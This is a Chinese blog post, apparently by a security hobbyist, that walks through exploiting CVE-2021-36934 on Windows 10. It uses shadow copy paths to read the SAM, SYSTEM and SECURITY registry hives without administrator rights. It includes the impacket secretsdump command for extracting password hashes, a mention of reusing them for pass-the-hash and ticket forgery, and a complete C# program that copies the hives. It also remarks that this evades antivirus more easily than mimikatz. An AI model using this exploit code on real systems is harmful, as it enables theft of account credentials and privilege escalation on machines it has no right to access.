利用cve 2021–36934获取用户密码哈希 Fay·D·Flourite

利用CVE-2021–36934获取用户密码哈希

简介

来自于最近的一个新洞CVE-2021–36934,具体是windows的卷影副本给了user读写权限,导致用户可以绕过本机被占用的sam文件访问卷影副本种的sam文件。

利用

通过vssadmin list shadows查看卷影副本的路径,效果如下。

该命令需要管理员权限运行,但默认目录名就为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy,在有多个卷影集的情况下会像上图一样在后面加上1,2,3…。所以普通利用只需要遍历这几个目录即可,能做到无管理员权限导出sam文件

用一般的文件操作函数都可以访问这个目录,简单写一个遍历函数,可以遍历得到结果就是c盘的目录结构,即卷影副本就为c盘的不完全备份

sam文件目录位于C:\\Windows\System32\config\SAM,简单进行一个拼接,卷影文件目录就位于\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM。读取这个文件并写入当前目录下,就可以得到这个文件的备份了。

整个c盘都是可以遍历的,但我们的目标是dump sam文件获取密码,所以我们需要的是sam,security和system三个文件,三个文件都在config下,同样的姿势去备份出来,就可以开始sam文件解密了

这里我用的impacket的secretdump

secretsdump.exe -sam SAM -security SECURITY -system SYSTEM LOCAL

导出的哈希用于PTH和票据等伪造这里就不作细致分析了。另外鉴于可以得到绝大部分系统文件的访问权限,应该不止这一种利用方法,包括微软官方也将其定性为权限提升漏洞。

c#脚本导出文件

简单写的脚本用于从卷影导出文件,仅提供思路。鉴于不用管理员权限,自己写也比较容易,比mimikatz更容易免杀,效果应该更好,大家见仁见智。

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Runtime.InteropServices;

namespace readfile
{
    class Program
    {
        //遍历目录
        public static void Traversal(string path)
        {
            DirectoryInfo TheFolder = new DirectoryInfo(path);

            FileSystemInfo[] a = TheFolder.GetFileSystemInfos();
            List<String> list = new List<string>();
            foreach (FileSystemInfo NextFile in a)
            {
                list.Add(NextFile.FullName);
                Console.WriteLine(NextFile.FullName);
            }
        }

        public static bool CopyFileToCurrentPath(string filepath,string currentpath)
        {
            bool result = false;
            try
            {
                FileInfo file = new FileInfo(filepath);
                Console.WriteLine("Attributes :>> " + file.Attributes);
                Console.WriteLine("FullName :>> " + file.FullName);
                Console.WriteLine("LastWriteTime :>> " + file.LastWriteTime);
                Console.WriteLine("Length :>> " + file.Length);
                Console.WriteLine("Name And Extension :>> " + file.Name + "." + file.Extension);

                FileStream fs = File.OpenRead(filepath);
                byte[] filebyte = new byte[file.Length];
                UTF8Encoding temp = new UTF8Encoding(true);
                while (fs.Read(filebyte, 0, filebyte.Length) > 0)
                {
                    Console.WriteLine(temp.GetString(filebyte));
                }

                string filename = currentpath + @"\" + file.Name + "." + file.Extension;
                Console.WriteLine(filename);
                FileStream fs2 = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write);
                fs2.Write(filebyte, 0, filebyte.Length);
                result = true;
            }
            catch
            {
                result = false;
            }
            return result;

        }

        static void Main(string[] args)
        {
            string currentpath = System.Environment.CurrentDirectory;

            //备份路径,来自管理员执行命令vssadmin list shadows
            //默认就是\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy,有多个备份时才有区别
            string vsspath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3";

            //sam和system文件路径
            string sampath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM";
            string systempath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM";
            string securitypath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SECURITY";

            //Traversal(vsspath);
            CopyFileToCurrentPath(sampath, currentpath);
            CopyFileToCurrentPath(systempath, currentpath);
            CopyFileToCurrentPath(securitypath, currentpath);
        }
    }
}

影响版本

Windows 10 version 1809 以后的所有版本